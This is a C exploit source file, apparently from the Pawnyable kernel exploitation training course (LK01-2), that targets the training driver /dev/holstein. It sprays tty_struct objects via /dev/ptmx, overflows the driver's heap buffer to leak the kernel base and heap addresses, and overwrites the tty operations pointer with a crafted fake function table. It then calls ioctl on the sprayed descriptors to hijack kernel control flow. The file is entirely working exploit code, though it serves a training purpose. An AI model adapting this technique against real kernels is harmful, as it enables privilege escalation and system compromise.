Pawnyable LK01-2

leak_heap_and_craft_fake_func_table.c

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define ofs_tty_ops 0xc38880
#define SPRAY_NUM 100

unsigned long kbase;
unsigned long g_buf;

int main() {
    int spray[SPRAY_NUM];
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    int fd = open("/dev/holstein", O_RDWR);
    if (fd == -1)
        perror("open");

    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    char buf[0x500];
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x438] - 0x438;

    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    // craft fake function table
    unsigned long *p = (unsigned long *)&buf;
    for (int i = 0; i < 0x40; i++) {
        *p++ = 0xffffffffdead0000 + (i << 8);
    }
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x420);

    // hijack control flow
    for (int i = 0; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }

    getchar();
    close(fd);
    for (int i = 0; i < 100; i++)
        close(spray[i]);

    return 0;
}